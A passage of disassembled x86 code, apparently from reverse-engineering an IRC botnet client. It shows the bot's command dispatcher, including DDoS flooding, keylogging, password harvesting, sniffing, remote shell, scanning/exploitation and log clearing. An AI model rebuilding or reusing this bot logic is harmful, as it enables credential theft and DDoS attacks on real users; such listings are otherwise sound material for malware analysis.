sub_40EC43+D94j call sub_417012 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40F9FC: ; CODE XREF: sub_40EC43+DA6j lea eax, [ebp+var_B8] mov [ebp+var_13], bl push eax call sub_4177B0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_B8] push ebx push eax call sub_417030 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_B8] push [ebp+arg_10] push eax call sub_418910 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_B8] push eax push [ebp+arg_0] call sub_40A610 push edi push [ebp+arg_0] call sub_417580 add esp, 30h loc_40FA52: ; CODE XREF: sub_40EC43+D26j test eax, eax jnz loc_40F96E mov edi, 1FFh lea eax, [ebp+var_2324] push edi push [ebp+arg_0] push eax call sub_418910 lea eax, [ebp+var_2324] push edi push eax lea eax, [ebp+var_2524] push eax call sub_418910 mov edi, offset asc_429420 ; " " lea eax, [ebp+var_2524] push edi push eax call sub_41886E add esp, 20h mov [ebp+var_94], eax mov [ebp+arg_10], 1 loc_40FAA5: ; CODE XREF: sub_40EC43+E7Cj push edi push ebx call sub_41886E pop ecx pop ecx mov ecx, [ebp+arg_10] inc [ebp+arg_10] cmp [ebp+arg_10], 20h mov [ebp+ecx*4+var_94], eax jl short loc_40FAA5 lea eax, [ebp+esi+var_94] mov ecx, [eax] cmp ecx, ebx jz loc_40F098 add ecx, 3 mov [eax], ecx loc_40FAD7: ; CODE XREF: sub_40EC43+CAEj mov edi, [ebp+esi+var_94] push edi push offset aIrc_rndnick ; "irc.rndnick" mov [ebp+arg_8], edi call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414C91 push edi push offset aRn ; "rn" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414C91 push edi push offset aIrc_die ; "irc.die" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414C6F push edi push offset aIrc_di ; "irc.di" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414C6F push edi push offset aIrc_logout ; "irc.logout" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414BD1 push edi push offset aLo ; "lo" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414BD1 push edi push offset aIrc_version ; "irc.version" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414BC2 push edi push offset aVer ; "ver" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414BC2 push edi push offset aLockdown_on ; "lockdown.on" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414AC5 push edi push offset aLd_on ; "ld.on" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414AC5 push edi push offset aLockdown_off ; "lockdown.off" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414AC5 push edi push offset aLd_off ; "ld.off" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414AC5 push edi push offset aProxy_socks4_o ; "proxy.socks4.on" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4149A4 push edi push offset aProxy_s4_on ; "proxy.s4.on" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4149A4 push edi push offset aProxy_socks4_0 ; "proxy.socks4.off" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FC30 push [ebp+esi+var_90] push 11h push offset aServer ; "Server" push offset dword_437840 jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FC30: ; CODE XREF: sub_40EC43+FD3j push edi push offset aDaemon_rlogin_ ; "daemon.rlogin.off" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FC59 push [ebp+esi+var_90] push 6 push offset aServer ; "Server" push offset dword_43781C jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FC59: ; CODE XREF: sub_40EC43+FFCj push edi push offset dword_43780C call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FC82 push [ebp+esi+var_90] push 3 push offset aServer ; "Server" push offset dword_437800 jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FC82: ; CODE XREF: sub_40EC43+1025j push edi push offset dword_4377F8 call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FCAB push [ebp+esi+var_90] push 1Dh push offset dword_4377EC push offset dword_4377E0 jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FCAB: ; CODE XREF: sub_40EC43+104Ej push edi push offset aProxy_redirect ; "proxy.redirect.off" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FCD4 push [ebp+esi+var_90] push 10h push offset dword_4377BC push offset dword_4377AC jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FCD4: ; CODE XREF: sub_40EC43+1077j push edi push offset dword_4377A0 call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FCFD push [ebp+esi+var_90] push 0Ah push offset dword_437794 push offset dword_437788 jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FCFD: ; CODE XREF: sub_40EC43+10A0j push edi push offset dword_437778 call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FD26 push [ebp+esi+var_90] push 0Bh push offset dword_43776C push offset dword_437760 jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FD26: ; CODE XREF: sub_40EC43+10C9j push edi push offset dword_437750 call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FD4F push [ebp+esi+var_90] push 0Fh push offset dword_437744 push offset dword_437738 jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FD4F: ; CODE XREF: sub_40EC43+10F2j push edi push offset dword_437728 call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FD78 push [ebp+esi+var_90] push 0Eh push offset dword_43771C push offset dword_437710 jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FD78: ; CODE XREF: sub_40EC43+111Bj push edi push offset aDaemon_tftp_of ; "daemon.tftp.off" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FDA1 push [ebp+esi+var_90] push 4 push offset aServer ; "Server" push offset dword_4376F4 jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FDA1: ; CODE XREF: sub_40EC43+1144j push edi push offset aUtil_findfile_ ; "util.findfile.off" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414975 push edi push offset aUtil_ff_off ; "util.ff.off" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414975 push edi push offset aCom_procs_off ; "com.procs.off" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414960 push edi push offset aCom_ps_off ; "com.ps.off" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414960 push edi push offset aClone_off ; "clone.off" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FE1E push [ebp+esi+var_90] push 18h push offset aClone ; "Clone" push offset dword_437694 jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FE1E: ; CODE XREF: sub_40EC43+11C1j push edi push offset aLockdown_stop ; "lockdown.stop" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FE47 push [ebp+esi+var_90] push 1Ah push offset aSecure_0 ; "Secure" push offset dword_43766C jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FE47: ; CODE XREF: sub_40EC43+11EAj push edi push offset aRoot_stop ; "root.stop" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FE70 push [ebp+esi+var_90] push 8 push offset aScan ; "Scan" push offset aExploitation ; "Exploitation" jmp loc_414988 ; --------------------------------------------------------------------------- loc_40FE70: ; CODE XREF: sub_40EC43+1213j push edi push offset aRoot_stats ; "root.stats" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414947 push edi push offset aRoot_st ; "root.st" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414947 push edi push offset aIrc_reconnect ; "irc.reconnect" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414926 push edi push offset aIrc_r ; "irc.r" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414926 push edi push offset aIrc_disconnect ; "irc.disconnect" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414904 push edi push offset aIrc_d ; "irc.d" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414904 push edi push offset aIrc_quit ; "irc.quit" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4148BB push edi push offset aIrc_q ; "irc.q" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4148BB push edi push offset aIrc_status ; "irc.status" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41487D push edi push offset aIrc_s ; "irc.s" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41487D push edi push offset aIrc_id ; "irc.id" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414846 push edi push offset aIrc_i ; "irc.i" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414846 push edi push offset aCom_rebewt ; "com.rebewt" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_40FFBE call sub_40AA4E test eax, eax mov eax, offset dword_437594 jnz short loc_40FF90 mov eax, offset dword_437560 loc_40FF90: ; CODE XREF: sub_40EC43+1346j push eax lea eax, [ebp+var_2EC] push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 1Ch jmp loc_40F594 ; --------------------------------------------------------------------------- loc_40FFBE: ; CODE XREF: sub_40EC43+1338j push edi push offset aThreads_list ; "threads.list" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414768 push edi push offset aThreads_l ; "threads.l" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414768 push edi push offset aIrc_aliases ; "irc.aliases" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414745 push edi push offset aIrc_al ; "irc.al" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414745 push edi push offset aIrc_log ; "irc.log" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414656 push edi push offset aIrc_lg ; "irc.lg" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414656 push edi push offset aUtil_clearlog ; "util.clearlog" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41463A push edi push offset aUtil_clg ; "util.clg" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41463A push edi push offset aCom_netinfo ; "com.netinfo" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414600 push edi push offset aCom_ni ; "com.ni" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414600 push edi push offset aDdos_supersyn ; "ddos.supersyn" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_41019F mov edi, [ebp+esi+var_90] push 7Fh lea eax, [ebp+var_1438] push edi push eax call sub_418910 mov eax, [ebp+esi+var_8C] push 7Fh mov [ebp+arg_18], eax push eax lea eax, [ebp+var_13B8] push eax call sub_418910 mov esi, [ebp+esi+var_88] push 7Fh lea eax, [ebp+var_1338] push esi push eax call sub_418910 push 7Fh lea eax, [ebp+var_12B8] push [ebp+var_8C] push eax call sub_418910 mov eax, [ebp+var_4] push esi push [ebp+arg_18] mov [ebp+var_1234], eax mov eax, [ebp+var_8] mov [ebp+var_1230], eax mov eax, [ebp+arg_4] mov [ebp+var_143C], eax push edi lea eax, [ebp+var_2EC] push offset unk_4374A0 push eax call sub_416FB6 add esp, 44h lea eax, [ebp+var_2EC] push ebx push 14h push eax call sub_416A7A add esp, 0Ch mov [ebp+var_1238], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_143C] push ebx push eax push offset sub_40182F push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_1238] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_410192 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_437450 jmp loc_410B68 ; --------------------------------------------------------------------------- loc_41018A: ; CODE XREF: sub_40EC43+1555j push 32h call dword_423064 ; Sleep loc_410192: ; CODE XREF: sub_40EC43+1534j cmp [ebp+var_122C], ebx jz short loc_41018A jmp loc_41198E ; --------------------------------------------------------------------------- loc_41019F: ; CODE XREF: sub_40EC43+145Cj push edi push offset aCom_sysinfo ; "com.sysinfo" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4145D5 push edi push offset aCom_si ; "com.si" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4145D5 push edi push offset aIrc_rem0ve ; "irc.rem0ve" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41459B push edi push offset aIrc_rm0 ; "irc.rm0" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41459B push edi push offset aCom_procs ; "com.procs" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414479 push edi push offset aCom_ps ; "com.ps" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414479 push edi push offset aCom_harvest ; "com.harvest" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41444F push edi push offset aCom_key ; "com.key" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41444F push edi push offset aCom_uptime ; "com.uptime" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4143C8 push edi push offset aCom_up ; "com.up" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4143C8 push edi push offset aCom_driveinfo ; "com.driveinfo" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4143AB push edi push offset aCom_drv ; "com.drv" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4143AB push edi push offset aCom_testdlls ; "com.testdlls" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414392 push edi push offset aCom_dll ; "com.dll" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414392 push edi push offset aCom_opencmd ; "com.opencmd" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41434B push edi push offset aCom_ocmd ; "com.ocmd" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41434B push edi push offset aCom_ocmd_off ; "com.ocmd.off" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_410318 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_414988 ; --------------------------------------------------------------------------- loc_410318: ; CODE XREF: sub_40EC43+16BBj push edi push offset aIrc_who ; "irc.who" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_41039F cmp [ebp+var_8], ebx jnz short loc_410348 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 14h loc_410348: ; CODE XREF: sub_40EC43+16E9j mov edi, [ebp+arg_18] xor esi, esi loc_41034D: ; CODE XREF: sub_40EC43+1750j cmp [edi], bl lea eax, [edi+1] jnz short loc_410359 mov eax, offset aEmpty ; "<Empty>" loc_410359: ; CODE XREF: sub_40EC43+170Fj push eax push esi lea eax, [ebp+var_2EC] push offset aD_S ; "%d. %s" push eax call sub_416FB6 push 1 lea eax, [ebp+var_2EC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D476 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_41034D push offset dword_437324 jmp loc_413525 ; --------------------------------------------------------------------------- loc_41039F: ; CODE XREF: sub_40EC43+16E4j push edi push offset aCom_getclip ; "com.getclip" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41430A push edi push offset aCom_gc ; "com.gc" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41430A push edi push offset aUtil_flusharp ; "util.flusharp" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4142DF push edi push offset aUtil_farp ; "util.farp" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4142DF push edi push offset aUtil_flushdns ; "util.flushdns" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4142AF push edi push offset aUtil_fdns ; "util.fdns" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4142AF push edi push offset aRoot_currentip ; "root.currentip" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414275 push edi push offset aRoot_cip ; "root.cip" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414275 push edi push offset aDaemon_rlogi_0 ; "daemon.rlogin.on" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414119 push edi push offset aDaemon_rl_on ; "daemon.rl.on" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_414119 push edi push offset aDaemon_httpd_o ; "daemon.httpd.on" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413FA4 push edi push offset aDaemon_web_on ; "daemon.web.on" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413FA4 push edi push offset aDaemon_tftp_on ; "daemon.tftp.on" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413E6C push edi push offset aDaemon_tf_on ; "daemon.tf.on" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413E6C push edi push offset aCom_findpass ; "com.findpass" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413DC6 push edi push offset aCom_fp ; "com.fp" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413DC6 push edi push offset aScanall ; "scanall" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413AC7 push edi push offset aSa ; "sa" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413AC7 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40F098 push [ebp+arg_8] push offset aIrc_nick ; "irc.nick" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413AA6 push [ebp+arg_8] push offset aIrc_n ; "irc.n" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413AA6 push [ebp+arg_8] push offset aIrc_join ; "irc.join" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413A86 push [ebp+arg_8] push offset aIrc_j ; "irc.j" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413A86 push [ebp+arg_8] push offset aIrc_part ; "irc.part" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413A70 push [ebp+arg_8] push offset aIrc_pt ; "irc.pt" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413A70 push [ebp+arg_8] push offset aIrc_raw ; "irc.raw" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413A3C push [ebp+arg_8] push offset aIrc_ra ; "irc.ra" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413A3C push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41398C push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41398C push [ebp+arg_8] push offset aClone_quit ; "clone.quit" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4138E3 push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4138E3 push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413898 push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413898 push [ebp+arg_8] push offset aIrc_prefix ; "irc.prefix" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413883 push [ebp+arg_8] push offset aIrc_pr ; "irc.pr" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413883 push [ebp+arg_8] push offset aCom_open ; "com.open" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413859 push [ebp+arg_8] push offset aCom_o ; "com.o" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413859 push [ebp+arg_8] push offset aIrc_setserve ; "irc.setserve" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413834 push [ebp+arg_8] push offset aIrc_se ; "irc.se" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413834 push [ebp+arg_8] push offset aIrc_dns ; "irc.dns" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4137D5 push [ebp+arg_8] push offset aIrc_dn ; "irc.dn" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4137D5 push [ebp+arg_8] push offset aCom_killprocna ; "com.killprocname" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4137A9 push [ebp+arg_8] push offset aCom_kpn ; "com.kpn" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4137A9 push [ebp+arg_8] push offset aCom_prockillid ; "com.prockillid" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41374E push [ebp+arg_8] push offset aCom_pkid ; "com.pkid" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41374E push [ebp+arg_8] push offset aCom_delete ; "com.delete" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413717 push [ebp+arg_8] push offset aCom_del ; "com.del" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413717 push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413637 push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413637 push [ebp+arg_8] push offset aCom_filelist ; "com.filelist" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41361C push [ebp+arg_8] push offset aCom_fl ; "com.fl" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_41361C push [ebp+arg_8] push offset aIrc_visit ; "irc.visit" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413530 push [ebp+arg_8] push offset aIrc_v ; "irc.v" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413530 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4134BC push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4134BC push [ebp+arg_8] push offset aCom_cmd ; "com.cmd" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413468 push [ebp+arg_8] push offset aCom_cm ; "com.cm" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_413468 push [ebp+arg_8] push offset aCom_readfile ; "com.readfile" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4133E3 push [ebp+arg_8] push offset aCom_rf ; "com.rf" call sub_4173D0 pop ecx test eax, eax pop ecx jz loc_4133E3 push [ebp+arg_8] push offset aSniff ; "sniff" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_410A0C push edi push offset aOn ; "on" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_4109D4 push 19h call sub_416CBC test eax, eax pop ecx jle short loc_410902 push offset unk_437054 jmp loc_411980 ; --------------------------------------------------------------------------- loc_410902: ; CODE XREF: sub_40EC43+1CB3j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_380], eax mov eax, [ebp+var_4] mov [ebp+var_2F8], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_2F4], eax jnz short loc_410944 mov esi, offset a2_1 ; "#2" push offset byte_43BCE8 push esi call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_410944 mov esi, [ebp+var_8C] loc_410944: ; CODE XREF: sub_40EC43+1CE3j ; sub_40EC43+1CF9j push esi lea eax, [ebp+var_37C] push 80h push eax call sub_41752A lea eax, [ebp+var_2EC] push offset unk_437014 push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 19h push eax call sub_416A7A add esp, 20h mov [ebp+var_2FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_380] push ebx push eax push offset sub_402669 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_2FC] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_4109C7 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_436FC8 jmp loc_410B68 ; --------------------------------------------------------------------------- loc_4109BF: ; CODE XREF: sub_40EC43+1D8Aj push 32h call dword_423064 ; Sleep loc_4109C7: ; CODE XREF: sub_40EC43+1D69j cmp [ebp+var_2F0], ebx jz short loc_4109BF jmp loc_41198E ; --------------------------------------------------------------------------- loc_4109D4: ; CODE XREF: sub_40EC43+1CA3j push edi push offset aOff ; "off" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_41198E push ebx push 19h call sub_416C6F pop ecx cmp eax, ebx pop ecx jle short loc_410A02 push eax push offset unk_436F78 jmp loc_410B68 ; --------------------------------------------------------------------------- loc_410A02: ; CODE XREF: sub_40EC43+1DB2j push offset unk_436F40 jmp loc_411980 ; --------------------------------------------------------------------------- loc_410A0C: ; CODE XREF: sub_40EC43+1C8Ej push [ebp+arg_8] push offset aCom_keylog ; "com.keylog" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_410B91 push edi push offset aOn ; "on" call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_410A7D push edi push offset aFile ; "file" call sub_4173D0 pop ecx test eax, eax pop ecx jz short loc_410A7D push edi push offset aOff ; "off" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_41198E push ebx push 1Bh call sub_416C6F pop ecx cmp eax, ebx pop ecx jle short loc_410A73 push eax push offset unk_436EE8 jmp loc_410B68 ; --------------------------------------------------------------------------- loc_410A73: ; CODE XREF: sub_40EC43+1E23j push offset unk_436EAC jmp loc_411980 ; --------------------------------------------------------------------------- loc_410A7D: ; CODE XREF: sub_40EC43+1DEFj ; sub_40EC43+1E00j push 1Bh call sub_416CBC test eax, eax pop ecx jle short loc_410A93 push offset unk_436E7C jmp loc_411980 ; --------------------------------------------------------------------------- loc_410A93: ; CODE XREF: sub_40EC43+1E44j mov eax, [ebp+arg_4] push edi mov [ebp+var_380], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_2F8], eax call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_410AC2 mov [ebp+var_2F4], 1 jmp short loc_410ACB ; --------------------------------------------------------------------------- loc_410AC2: ; CODE XREF: sub_40EC43+1E71j mov eax, [ebp+var_8] mov [ebp+var_2F4], eax loc_410ACB: ; CODE XREF: sub_40EC43+1E7Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_410AF2 mov esi, offset a2_0 ; "#2" push offset byte_43BCE8 push esi call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_410AF2 mov esi, [ebp+var_8C] loc_410AF2: ; CODE XREF: sub_40EC43+1E91j ; sub_40EC43+1EA7j push esi lea eax, [ebp+var_378] push 80h push eax call sub_41752A lea eax, [ebp+var_2EC] push offset unk_436E4C push eax call sub_416FB6 push ebx lea eax, [ebp+var_2EC] push 1Bh push eax call sub_416A7A add esp, 20h mov [ebp+var_37C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_380] push ebx push eax push offset sub_402394 push ebx push ebx call dword_4230A0 ; CreateThread mov ecx, [ebp+var_37C] imul ecx, 234h cmp eax, ebx mov dword_44457C[ecx], eax jnz short loc_410B84 call dword_42308C ; RtlGetLastWin32Error push eax push offset unk_436E00 loc_410B68: ; CODE XREF: sub_40EC43+1542j ; sub_40EC43+1D77j ... lea eax, [ebp+var_2EC] push eax call sub_416FB6 loc_410B74: ; CODE XREF: sub_40EC43+5FCFj add esp, 0Ch jmp loc_41198E ; --------------------------------------------------------------------------- loc_410B7C: ; CODE XREF: sub_40EC43+1F47j push 32h call dword_423064 ; Sleep loc_410B84: ; CODE XREF: sub_40EC43+1F17j cmp [ebp+var_2F0], ebx jz short loc_410B7C jmp loc_41198E ; --------------------------------------------------------------------------- loc_410B91: ; CODE XREF: sub_40EC43+1DDAj push [ebp+arg_8] push offset aCom_net ; "com.net" call sub_4173D0 pop ecx test eax, eax pop ecx jnz loc_410E3B cmp dword_43EBF0, ebx jz short loc_410BC2 cmp dword_43EC18, ebx jz short loc_410BC2 push offset dword_436DB0 jmp loc_410E28 ; --------------------------------------------------------------------------- loc_410BC2: ; CODE XREF: sub_40EC43+1F6Bj ; sub_40EC43+1F73j cmp [ebp+var_C], ebx jz loc_4115BE mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_410BEA push eax push [ebp+var_C] call sub_417580 pop ecx mov [ebp+arg_0], eax pop ecx loc_410BEA: ; CODE XREF: sub_40EC43+1F97j push edi push offset aStart ; "start" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_410C56 cmp [ebp+arg_18], ebx jz short loc_410C24 push [ebp+arg_0] push 3 loc_410C05: ; CODE XREF: sub_40EC43+2029j ; sub_40EC43+2041j ... call sub_40D511 push eax lea eax, [ebp+var_2EC] push offset aS_3 ; "%s" push eax call sub_416FB6 add esp, 14h jmp loc_4115BE ; --------------------------------------------------------------------------- loc_410C24: ; CODE XREF: sub_40EC43+1FBBj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D7B8 add esp, 0Ch test eax, eax lea eax, [ebp+var_2EC] jz short loc_410C4C push offset dword_436D7C jmp loc_410E2E ; --------------------------------------------------------------------------- loc_410C4C: ; CODE XREF: sub_40EC43+1FFDj push offset dword_436D4C jmp loc_410E2E ; --------------------------------------------------------------------------- loc_410C56: ; CODE XREF: sub_40EC43+1FB6j push edi push offset aStop ; "stop" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_410C6E push [ebp+arg_0] push 4 jmp short loc_410C05 ; --------------------------------------------------------------------------- loc_410C6E: ; CODE XREF: sub_40EC43+2022j push edi push offset aPause ; "pause" call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_410C89 push [ebp+arg_0] push 5 jmp loc_410C05 ; --------------------------------------------------------------------------- loc_410C89: ; CODE XREF: sub_40EC43+203Aj push edi push offset aContinue ; "continue" call sub_4173D0 pop ecx test eax, eax 